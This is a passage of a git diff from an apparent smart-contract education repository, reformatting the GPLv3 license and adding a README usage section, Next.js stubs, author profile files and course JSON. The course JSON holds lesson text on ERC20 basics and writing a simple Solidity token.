with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. Copyright (C) @@ -204,16 +646,29 @@ To do so, attach the following notices to the program. It is safest to attach th You should have received a copy of the GNU General Public License along with this program. If not, see . + Also add information on how to contact you by electronic and paper mail. -If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: - Security & Auditing Course Copyright (C) 2023 Cyfrin + Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. -The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”. - -You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . -The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/README.md b/README.md index fc3e36d8..167fd195 100644 --- a/README.md +++ b/README.md @@ -145,3 +145,11 @@ Cyfrin Updraft content is open sourced [licensed as GPLv3](https://github.com/cy [![Cyfrin Twitter](https://img.shields.io/badge/Twitter-1DA1F2?style=for-the-badge&logo=twitter&logoColor=white)](https://twitter.com/cyfrinupdraft) [![Cyfrin YouTube](https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white)](https://www.youtube.com/@CyfrinAudits) [![Cyfrin LinkedIn](https://img.shields.io/badge/Linkedin-0e76a8?style=for-the-badge&logo=linkedin&logoColor=white)](https://www.linkedin.com/school/cyfrin-updraft/) +# Usage + +``` +git clone https://github.com/Cyfrin/Updraft +cd Updraft +pnpm install +pnpm dev +``` \ No newline at end of file diff --git a/app/layout.tsx b/app/layout.tsx new file mode 100644 index 00000000..225b6038 --- /dev/null +++ b/app/layout.tsx @@ -0,0 +1,11 @@ +export default function RootLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( + + {children} + + ); +} diff --git a/app/page.tsx b/app/page.tsx new file mode 100644 index 00000000..0e223e2c --- /dev/null +++ b/app/page.tsx @@ -0,0 +1,3 @@ +export default async function Home() { + return

Updraft CMS

; +} diff --git a/content/authors/alex-roan.json b/content/authors/alex-roan.json new file mode 100644 index 00000000..33a09f66 --- /dev/null +++ b/content/authors/alex-roan.json @@ -0,0 +1,7 @@ +{ + "authorId": "082f227b-be1b-424c-931b-2609ba7cfa9b", + "name": "Alex Roan", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1638556087698767872/zDLhtE2t_400x400.jpg", + "company": "Cyfrin" +} \ No newline at end of file diff --git a/content/authors/ally-haire.json b/content/authors/ally-haire.json new file mode 100644 index 00000000..130b98cd --- /dev/null +++ b/content/authors/ally-haire.json @@ -0,0 +1,7 @@ +{ + "authorId": "4b9f2045-89b6-4825-ad08-796b2b3180ad", + "name": "Ally Haire", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1446605786948329472/_LjIFzfh_400x400.jpg", + "company": "Protocol Labs" +} \ No newline at end of file diff --git a/content/authors/andy-li.json b/content/authors/andy-li.json new file mode 100644 index 00000000..52b406c2 --- /dev/null +++ b/content/authors/andy-li.json @@ -0,0 +1,7 @@ +{ + "authorId": "472a7b89-ce23-4ca2-965f-525b5752b1c7", + "name": "Andy Li", + "role": "Security engineer", + "avatarUrl": "https://pbs.twimg.com/profile_images/1558678143925227520/7WYFIcRm_400x400.jpg", + "company": "Sigma Prime" +} \ No newline at end of file diff --git a/content/authors/austin-griffith.json b/content/authors/austin-griffith.json new file mode 100644 index 00000000..aeab2b83 --- /dev/null +++ b/content/authors/austin-griffith.json @@ -0,0 +1,7 @@ +{ + "authorId": "ed64052f-38d2-4429-9e96-1be284bc053c", + "name": "Austin Griffith", + "role": "Builder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1484336102693490689/bmhym86N_400x400.jpg", + "company": "Buidl Guidl" +} \ No newline at end of file diff --git a/content/authors/ciara-nightingale.json b/content/authors/ciara-nightingale.json new file mode 100644 index 00000000..6b2c42d6 --- /dev/null +++ b/content/authors/ciara-nightingale.json @@ -0,0 +1,7 @@ +{ + "authorId": "d5432238-a2b2-4bec-a73d-3dbaedfd49cd", + "name": "Ciara Nightingale", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1589633894055280642/asqY9XHf_400x400.jpg", + "company": "Thirdweb" +} \ No newline at end of file diff --git a/content/authors/harrison.json b/content/authors/harrison.json new file mode 100644 index 00000000..ada2161f --- /dev/null +++ b/content/authors/harrison.json @@ -0,0 +1,7 @@ +{ + "authorId": "90eb5599-9877-4933-b556-6a1748b28037", + "name": "Harrison", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/f_auto,q_auto/hxv9u49b6q9magswodpo", + "company": "GasliteGG" +} \ No newline at end of file diff --git a/content/authors/johnny-time.json b/content/authors/johnny-time.json new file mode 100644 index 00000000..647b8a45 --- /dev/null +++ b/content/authors/johnny-time.json @@ -0,0 +1,7 @@ +{ + "authorId": "971e8c52-1e9a-4048-a026-9d670b391763", + "name": "Johnny Time", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1562787009080475648/lkYT8FUJ_400x400.jpg", + "company": "Gingersec" +} \ No newline at end of file diff --git a/content/authors/josselin-feist.json b/content/authors/josselin-feist.json new file mode 100644 index 00000000..110ff22b --- /dev/null +++ b/content/authors/josselin-feist.json @@ -0,0 +1,7 @@ +{ + "authorId": "117fe7f3-ca3b-4a6b-9230-39db1bcc907b", + "name": "Josselin Feist", + "role": "Head of Blockchain", + "avatarUrl": "https://avatars.sched.co/b/15/8607626/avatar.jpg?f6b", + "company": "Trail of Bits" +} \ No newline at end of file diff --git a/content/authors/juliette-chevalier.json b/content/authors/juliette-chevalier.json new file mode 100644 index 00000000..ca882049 --- /dev/null +++ b/content/authors/juliette-chevalier.json @@ -0,0 +1,7 @@ +{ + "authorId": "5fd1b6a7-645a-444e-8290-30fb6019f0c9", + "name": "Juliette Chevalier", + "role": "Lead Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1521592989411328005/APz0z5t5_400x400.jpg", + "company": "Aragon" +} \ No newline at end of file diff --git a/content/authors/nader-dabit.json b/content/authors/nader-dabit.json new file mode 100644 index 00000000..429b7217 --- /dev/null +++ b/content/authors/nader-dabit.json @@ -0,0 +1,7 @@ +{ + "authorId": "95eddbc5-e8be-4e52-92bc-531ced06dd59", + "name": "Nader Dabit", + "role": "Director of developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1683249222534025216/-AksKsna_400x400.jpg", + "company": "Avara" +} \ No newline at end of file diff --git a/content/authors/owen-thurm.json b/content/authors/owen-thurm.json new file mode 100644 index 00000000..3425dc24 --- /dev/null +++ b/content/authors/owen-thurm.json @@ -0,0 +1,7 @@ +{ + "authorId": "63ba92d5-71d8-4a91-bcda-89cde505762e", + "name": "Owen Thurm", + "role": "Lead Auditor", + "avatarUrl": "https://pbs.twimg.com/profile_images/1499818161008484355/PJo1p839_400x400.jpg", + "company": "Guardian Audits" +} \ No newline at end of file diff --git a/content/authors/pashov.json b/content/authors/pashov.json new file mode 100644 index 00000000..c8d63324 --- /dev/null +++ b/content/authors/pashov.json @@ -0,0 +1,7 @@ +{ + "authorId": "0a52aeeb-ff09-4931-94d6-4412ac2e06ed", + "name": "Pashov", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1598099715719139328/fkww-493_400x400.jpg", + "company": "Pashov Audit Group" +} \ No newline at end of file diff --git a/content/authors/patrick-collins.json b/content/authors/patrick-collins.json new file mode 100644 index 00000000..03d01bc6 --- /dev/null +++ b/content/authors/patrick-collins.json @@ -0,0 +1,7 @@ +{ + "authorId": "65dab0d2-d0d0-4742-81c3-ec2a8f2814e7", + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" +} \ No newline at end of file diff --git a/content/authors/richard-gottleber.json b/content/authors/richard-gottleber.json new file mode 100644 index 00000000..16c936f4 --- /dev/null +++ b/content/authors/richard-gottleber.json @@ -0,0 +1,7 @@ +{ + "authorId": "ed8b10d7-cd01-465b-85a5-28a13ea2422a", + "name": "Richard Gottleber", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1575811580419350528/YDFtORxH_400x400.jpg", + "company": "Chainlink" +} \ No newline at end of file diff --git a/content/authors/tincho-abbate.json b/content/authors/tincho-abbate.json new file mode 100644 index 00000000..c384a28d --- /dev/null +++ b/content/authors/tincho-abbate.json @@ -0,0 +1,7 @@ +{ + "authorId": "7702def8-14f8-488f-b315-e0ac9b984403", + "name": "Tincho Abbate", + "role": "Ethereum Security", + "avatarUrl": " https://pbs.twimg.com/profile_images/1485038452886282242/aK7JcLG-_400x400.jpg", + "company": "The Red Guild" +} \ No newline at end of file diff --git a/content/authors/vasiliy-gualoto.json b/content/authors/vasiliy-gualoto.json new file mode 100644 index 00000000..e067cf4a --- /dev/null +++ b/content/authors/vasiliy-gualoto.json @@ -0,0 +1,7 @@ +{ + "authorId": "18bef0e8-5edb-4e58-98fc-9339c16d4428", + "name": "Vasiliy Gualoto", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1699392014431690752/85CtsxgA_400x400.jpg", + "company": "Cyfrin" +} \ No newline at end of file diff --git a/content/authors/vitto-rivabella.json b/content/authors/vitto-rivabella.json new file mode 100644 index 00000000..1e967e7d --- /dev/null +++ b/content/authors/vitto-rivabella.json @@ -0,0 +1,7 @@ +{ + "authorId": "827b2d1a-f53d-4c0a-9eed-d77fa1291de8", + "name": "Vitto Rivabella", + "role": "Lead Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1700274932393918464/e8v4skIC_400x400.png", + "company": "Alchemy" +} \ No newline at end of file diff --git a/content/courses/advanced-foundry.json b/content/courses/advanced-foundry.json new file mode 100644 index 00000000..f0572179 --- /dev/null +++ b/content/courses/advanced-foundry.json @@ -0,0 +1,1106 @@ +{ + "courseId": "841d2824-6665-4f1e-8352-e0dbadf62bfb", + "title": "Advanced Foundry", + "slug": "advanced-foundry", + "folderName": "advanced-foundry", + "lastUpdated": "Mon Jan 15 2024 12:21:13 GMT-0500 (Eastern Standard Time)", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/y2uthyu5atnxhhd8aar6.png", + "description": "Become a Foundry expert! Learn advanced techniques to develop, deploy, test, optimise and interact with your smart contract using industry standard tools used by the top smart contracts engineers in web3", + "path": "content/learning-paths/solidity-developer.json", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023", + "overview": { + "learnings": "Foundry, stablecoins, DeFi, DAOs, advanced smart contract development, advanced smart contracts testing, fuzz testing, manual verification", + "preRequisites": [ + "Blockchain basics", + "Solidity fundamentals", + "Foundry fundamentals" + ] + }, + "duration": 13, + "authors": [ + { + "author": "content/authors/patrick-collins.json" + }, + { + "author": "content/authors/ciara-nightingale.json" + }, + { + "author": "content/authors/vasiliy-gualoto.json" + }, + { + "author": "content/authors/nader-dabit.json" + }, + { + "author": "content/authors/ally-haire.json" + }, + { + "author": "content/authors/juliette-chevalier.json" + }, + { + "author": "content/authors/vitto-rivabella.json" + }, + { + "author": "content/authors/harrison.json" + } + ], + "sections": [ + { +"sectionId": "c83165bc-da17-4714-ab4f-483cb52c5170", + "number": 1, + "title": "Develop an ERC20 Crypto Currency", + "slug": "How-to-create-an-erc20-crypto-currency", + "folderName": "1-erc20s", + "lessons": [ + { + "lessonId": "c2420d11-5dcd-4f42-b26e-91e6234119b9", + "number": 1, + "title": "Introduction to ERC fundamentals and ERC20", + "slug": "erc-and-erc20-fundamentals", + "folderName": "1-erc20-basics", + "description": "Delve into the fundamentals of ERC20 tokens. Understand the critical concepts of Ethereum Improvement Proposals (EIPs) and Ethereum Request for Comments (ERCs), focusing particularly on the ERC20 Token Standard. Learn about the creation and significance of ERC20 tokens and explore notable examples.", + "duration": 5, + "videoUrl": "jv9up9fhEPfv2wWrK4Unv01xYQMzmPRxGQXZG72fu4zg", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/1-erc20-basics/+page.md", + "markdownContent": "---\ntitle: ERC20 Basics\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding ERC20 Tokens in Ethereum: A Comprehensive Guide\n\nWelcome back! We're about to dive deep into the fascinating world of ERC20 tokens.\n\n\n\nBefore we plunge into building an ERC20 token, let's first explore what it is, and understand the concepts of EIP (Ethereum Improvement Proposals) and ERC (Ethereum Request for Comments).\n\n## What is an ERC? What is an EIP?\n\n\n\nBoth Ethereum and other blockchains like Avalanche, Binance, and Polygon have mechanisms for improving their protocols, known as 'improvement proposals'. In Ethereum's ecosystem, these are called Ethereum Improvement Proposals or EIPs.\n\nDevelopers submit ideas to enhance Ethereum or other layer one protocols like Polygon, Matic or Avalanche on GitHub or other open source repositories. These improvements range from core blockchain updates to broad, best practice standards for the community to adopt.\n\n\n\nIn other blockchains, these proposals and request for comments are tagged differently (for example, BEP, PEP, etc), but they contain the same types of information. Interestingly, the numbers following ERC or EIP (like in ERC20 or EIP20), are chronological and shared between the two, signifying the order in which they were introduced. For real-time updates on the process of new EIPs, check out [EIPS Ethereum.org](https://eips.ethereum.org/).\n\n## What is the ERC20 Token Standard?\n\n\n\nAmong these EIPs and ERCs, the ERC20, or Token Standard for smart contracts, is one of the most significant. It delineates how to create tokens within smart contracts.\n\nERC20 tokens are those deployed on a blockchain using the ERC20 token standard. Essentially, it's a smart contract that represents a token - both a token and a smart contract in one. Check out the [ERC20 Token standard](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) for a deep dive.\n\nNotable examples of ERC20 tokens include Tether, Chainlink, Uni Token, and Dai. Interestingly, while Chainlink qualifies as an ERC677, it is fully compatible with ERC20 and just offers some additional functionality.\n\n## Why Create an ERC20 Token?\n\n\n\nThere are multiple applications of ERC20 tokens. They are used for governance, securing an underlying network, or creating synthetic assets, among other things.\n\n## Building an ERC20 Token\n\nHow do we go about creating an ERC20 token? Simple. By creating a smart contract that adheres to the token standard. This involves building a smart contract with certain functions, including name, symbol, decimals, etc. Also, it should be transferable and display its balance.\n\nYou can explore more advanced, ERC20 compatible tokens with improvements (such as ERC677 or ERC777), just make sure they align with your project requirements. Enjoy the process of building your ERC20 token and the new possibilities it opens up!\n", + "updates": [] + }, + { + "lessonId": "72b71dd8-336c-4536-8a0e-304ea4043591", + "number": 2, + "title": "Creating an ERC20", + "slug": "create-an-erc20", + "folderName": "2-erc20-manual-creation", + "description": "This lesson guides you through the manual creation of your own ERC20 token using Solidity. It covers the setup of your development environment, initialization of your project repository, and step-by-step instructions to build and define your ERC20 token's properties and functionalities.", + "duration": 7, + "videoUrl": "NDCBrRF1QeTJUuCPnQLXBrjnFbt4B3KQbUYl52LpevI", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/2-erc20-manual-creation/+page.md", + "markdownContent": "---\ntitle: ERC20 Manual Creation\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Creating Your Own ERC20 Token in Solidity Code\n\nWelcome Back! Having covered the basics, let's look at how we can manually create our own ERC20 token.\n\n## Setting Up Your Development Environment\n\nOpen a terminal in Visual Studio Code and run the following:\n\n```sh\nmkdir foundry-erc20-f23\ncd foundry-erc20-f23\ncode .\n```\n\nThe above commands will create a new directory for our project, navigate into it, and open the directory in a new Visual Studio Code window.\n\nOnce we have Visual Studio Code running, we need to initialize a blank repository. Open up the built-in Terminal and execute the following command:\n\n```sh\nforge init\n```\n\nCompleting these steps sets up a development environment complete with a fully-equipped CI/CD pipeline courtesy of GitHub workflows for later code testing & deployment.\n\n## Getting Started With Your ERC20 Smart Contract\n\nNext, let's get down to the nitty-gritty of our project — our own ERC20 token! But first, a spring cleaning is due. Remove the sample files from the fresh repository so that you can start coding from scratch. This step is as uncomplicated and swift as a couple of clicks and keyboard strokes away!\n\nHaving cleared the playing field, it's time to layer the groundwork for our ERC20 token. To do this, we'll be referencing the ERC20 Token Standard, covering all the key methods that we need.\n\nLet's start by creating a new Solidity file named `OurToken.sol`. Right click the `src` folder in the left navigation panel and select `new File`.\n\n\n\n## Paving the Way for Your Custom Token\n\nThe inception of our token begins with some basic instructions for the Ethereum virtual machine — where our contract code will live, breathe, and operate.\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract OurToken{}\n```\n\nThe `SPDX-License` specifies the type of license our code carries, while `pragma solidity` specifies the Solidity compiler version that our contract is compatible with.\n\nEnsuing this, we set forth to define several properties that will shape our token's identity. The ERC20 standard necessitates the definition of a `name`, `totalSupply`, and a `decimals` property. In our contract, this translates to:\n\n```javascript\n string public name = \"OurToken\";\n uint256 public totalSupply = 100000000000000000000;\n```\n\nThe decimals property signifies the number of decimal points that can be used in our token. Given that the Ethereum network operates in Wei (the smallest denomination of Ether), it's a good practice to use 18 decimal places for interoperability with other token contracts.\n\n```javascript\n uint8 public decimals = 18;\n```\n\nReaching this stage of our token creation, our contract should look something like this:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract OurToken{\n string public name = \"OurToken\";\n uint256 public totalSupply = 100000000000000000000;\n uint8 public decimals = 18;\n\n}\n```\n\n## Building the Internal Structure for Our Token\n\nOur token also needs some internal structure and mechanisms to function, chiefly, a way to track balances of all the users interacting with it.\n\nFirst, we use a Solidity mapping data structure to connect user addresses with their token balances. This balance tracking mapping looks like:\n\n```javascript\n mapping (address => uint256) private _balances;\n```\n\nNext, we functionally implement the ability for anyone to view their current token balance via the `balanceOf` method.\n\n```javascript\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n```\n\nJuxtaposed against the backdrop of token balance mapping, the `balanceOf` method takes an account's address as input and returns the corresponding balance. This signifies that having tokens in an ERC20 simply translates to some balance in a contract's mapping.\n\n## Making the Token Transferable\n\nOur token is still a bit static. Let's bring it to life by implementing the `transfer` function which helps users send tokens to other addresses:\n\n```javascript\n function transfer(address recipient, uint256 amount) public returns (bool) {\n uint256 senderBalance = _balances[msg.sender];\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n return true;\n }\n```\n\nHere's what these lines of code are doing:\n\n1. Fetch the balance of the sender (the person calling this function).\n2. Use the `require` function to make sure the sender has enough tokens. If they don't, the entire function will fail.\n3. Subtract the transfer amount from the sender's balance.\n4. Add the transfer 